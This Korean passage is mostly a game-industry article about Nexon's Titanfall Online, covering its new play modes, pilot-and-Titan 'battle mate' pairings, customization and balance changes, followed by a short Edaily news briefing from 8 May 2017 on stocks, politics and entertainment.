"테스트에서 즐길 수 있는 '폭파 미션'은 기존과 크게 다르지 않다. 다만 공개서비스에서는 새로운 방식을 도입하는 것을 고려 중이며 다른 게임에서 보지 못했던 '타이탄폴 온라인'만의 독특한 폭파미션도 준비하고 있다"라고 말했다.여기에 새로운 플레이 모드도 공개서비스에 선보일 예정이다. 황선영 개발본부장은 "타이탄폴이라는 게임의 매럭을 한 라운드에 모두 녹여낸 모드다. 기본적으로 2인 1조로 움직이며 성장과 파밍 요소가 들어간다. 전투를 통해 다른 유저보다 더 빠르게 성장하면 더 좋은 타이탄을 쓰거나, 타이탄을 더 빠르게 부를 수 있거나, 더 좋은 무기를 사용하거나 체력이나 실드가 더 높아진다. 즉, 한 판 안에서 경쟁과 협동, 그리고 성장을 한 번에 경험할 수 있는 모드다"라고 밝혔다.△ '팀 데스매치'나 ''폭파미션'과 같은 친숙한 콘텐츠부터 색다른 경험을 제공할 '신규 모드'까지다양한 플레이 스타일을 준비 중이다 (사진제공: 넥슨)△ 새로운 맵도 만나볼 수 있다 (사진제공: 넥슨)원작과 다른 모습의 '타이탄', 배틀 메이트 및 커스터마이징앞서 이야기한 '플레이 모드'가 전투에 초점을 맞췄다면 이번에 살펴볼 '배틀 메이트'는 파일럿과 타이탄에 개성을 더한다. 황선영 개발 디렉터는 "원작이 IMC와 저항군, 두 거대 세력의 대결에 초점을 맞췄다면 '타이탄폴 온라인'은 파일럿과 타이탄 자체를 조명한다. 특히 '타이탄'의 경우 단순한 병기가 아니라 나의 분신과 같은 존재다. 자동차에 애착을 가진 사람처럼 취향에 맞게 '타이탄'을 튜닝하는 맛을 더했다"라고 말했다.'타이탄폴 온라인'에는 테스트 기준으로 '파일럿'과 '타이탄'이 짝을 이룬 '배틀 메이트' 4쌍이 있다. 각기 다른 이름과 설정, 외모를 가진 파일럿 4종과 그들과 짝을 이루는 '타이탄' 4종이다. 그리고 '파일럿'과 '타이탄'의 짝을 맞추면 '타이탄'이 전용 스킨으로 돌변한다. 가장 눈길을 끌었던 점은 귀여운 고양이로 튜닝된 거대 타이탄 '오우거'의 모습이었다.△ '타이탄폴 온라인'은 파일럿과 타이탄에 초점을 맞췄다 (사진제공: 넥슨)△ 테스트 때는 파일럿 4종과 전용 타이탄을 만나볼 수 있다 (사진제공: 넥슨)황선영 개발본부장은 "배틀 메이트는 일종의 설정이다. 게임을 처음 시작할 때는 4개 중 하나를 골라서 들어가지만 플레이를 통해 입수한 타이탄과 파일럿을 자유롭게 조합하는 것이 가능하다. 즉, 전투 자체는 원하는 파일럿과 타이탄을 골라서 할 수 있다는 것이다"라며 "다만 '배틀 메이트'는 '타이탄폴 온라인'만의 세계관과 캐릭터 개성을 보여주는 요소다. 지금은 구체적인 계획은 없지만 '배틀 메이트'를 통해 '타이탄폴 온라인'만의 색을 보여주고 싶다. 유저들이 원한다면 특정 타이탄과 파일럿이 짝을 이루면 볼 수 있는 '특수 스킬'을 추가할 의향도 있다"라고 설명했다.△ 게임을 처음 시작할 때 원하는 '배틀 메이트'를 고를 수 있다이후 플레이를 통해 모으는 '크래딧'으로 파일럿, 타이탄, 무기 등을 개방하는 방식(사진제공: 넥슨)이 외에도 파일럿이나 타이탄을 취향에 맞게 꾸밀 수 있는 스킨과 도색이 추가된다. 원작에서 볼 수 없었던 독특한 외형의 타이탄이나 파일럿을 만나볼 수 있다는 것이다. 그렇다면 이에 대한 원작 개발진의 의견은 어떨까? 황선영 개발본부장은 "EA 및 리스폰엔터테인먼트와 정기적으로 개발 상황을 공유 중이다. 그들은 '타이탄폴'이 한국 개발사 손에서 얼마나 달라질지 궁금해하고 있다. '배틀 메이트'를 통해 등장한 신규 여성 캐릭터 '할로우'나 '타이탄' 스킨에 대해서도 긍정적인 반응을 보였다"라고 보였다.쉬운 플레이와 라이브 서비스, 타이탄폴 온라인의 또 다른 가치&nbsp;개발진이 중요하게 생각하는 또 다른 부분은 '쉬운 플레이' 그리고 '라이브 서비스'다. 우선 '쉬운 플레이'는 원작을 안 해본 유저들의 적응을 돕기 위한 것이다. AI 대전을 통해 실전 감각을 익힐 수 있는 '자유 훈련장', 전체 무기 리스트와 그 중 지금 즉시 개방해서 사용할 수 있는 무기를 한눈에 볼 수 있는 '언락형 인벤토리' 등이 '쉬운 플레이'를 위해 도입된 것이다.△ 빠른 적응을 돕기 위해 도입된 '자유 훈련장'과 '언락형 인벤토리' (사진제공: 넥슨)마지막으로 라이브 서비스에서 중요한 점은 '밸런싱'이다. 실제로 현장에서 미리 즐겨본 '타이탄폴 온라인' 최신 빌드의 경우 지난 테스트에서 문제로 지적됐던 '스마트 피스톨' 밸런스와 '타이탄' 체력 등이 조정되었다. 전보다 '타이탄'은 공격에 좀 더 오래 버텼으며 '스마트 피스톨'도 지난 테스트처럼 '먼치킨' 수준으로 강하지는 않았다. 황선영 개발본부장은 "밸런스 조정은 너무 당연한 부분이다. 유저 동향 및 시스템 변화에 따라 지속적적으로 밸런스를 맞춰나갈 예정이다"라고 말했다.△ 새로운 플레이 스타일, 쉬운 플레이, 라이브 게임이 세 가지가 '타이탄폴 온라인' 개발진이 중요하게 생각하는 가치다 (사진제공: 넥슨)본 기사는 게임전문매체 게임메카(www.gamemeca.com)에서 제공하고 있습니다.
  • 이데일리 이슈&뉴스 브리핑 5월8일(오후)
  • [이데일리 e뉴스 유수정 기자] ◆ 현재 포털 주요이슈◇ 증시 새역사韓증시 또 신기원…코스피 2280대-삼성電 230만원대 ‘훌쩍’ 코스피지수 상승세가 매서운 상황. 지난 4일 2240선을 돌파하면서 사상 최고치를 찍더니 하루만에 2280선을 뛰어넘음.◇ ‘마크롱 당선’ 프랑스 전망 및 과제 佛통합·경제회생 중책 맡은 39세 마크롱, 아웃사이더 한계 넘나 마크롱은 새로운 정치와 좌우 통합을 통해 일단 집권에는 성공했지만 기성 정당 기반이 없다는 점이 오히려 향후 행보에 큰 걸림돌이 될 수 있다는 우려가 나오고 있는 상황.◇ 더불어민주당 대선후보 관련문재인 “이제 관심사는 ‘승부’ 아닌 ‘득표율’” 문재인 더불어민주당 대선 후보는 8일 정치적 고향 부산을 찾아 “이제 관심사는 승부가 아니다. 저 문재인의 득표율이 관심사”라고 밝힘.◆현재 포털 주요키워드/검색어◇ 美 F-35 스텔스 전투기美 F-35 스텔스 전투기, 10월 한국 출격…ADEX서 일반에 공개 미국이 올해 10월 한국에서 열리는 ‘서울 국제 항공우주 및 방위산업 전시회 2017’(서울 ADEX 2017)에 F-35 최신예 스텔스 전투기를 파견할 것으로 알려짐.◇ 홍준표 장인 영감탱이홍준표, 장인 영감탱이 해명에 “유승민은 국민 영감탱이?” 비난 봇물 홍준표 자유한국당 후보가 장인을 영감탱이라고 부른 것에 대한 해명에 경상도 출신 인사들을 비롯 야당 의원들이 비난의 목소리를 높이고 있음.◇ 하민호‘프듀’ 측 “하민호, 최대한 편집+추가 인원 없어”(공식입장) ‘프로듀스101 시즌2’ 측이 하차한 하민호에 대해 “다른 연습생에게 피해가 가지 않는 선에서 최대한 편집할 예정”이라고 밝힘.
2017.05.08 I 유수정 기자
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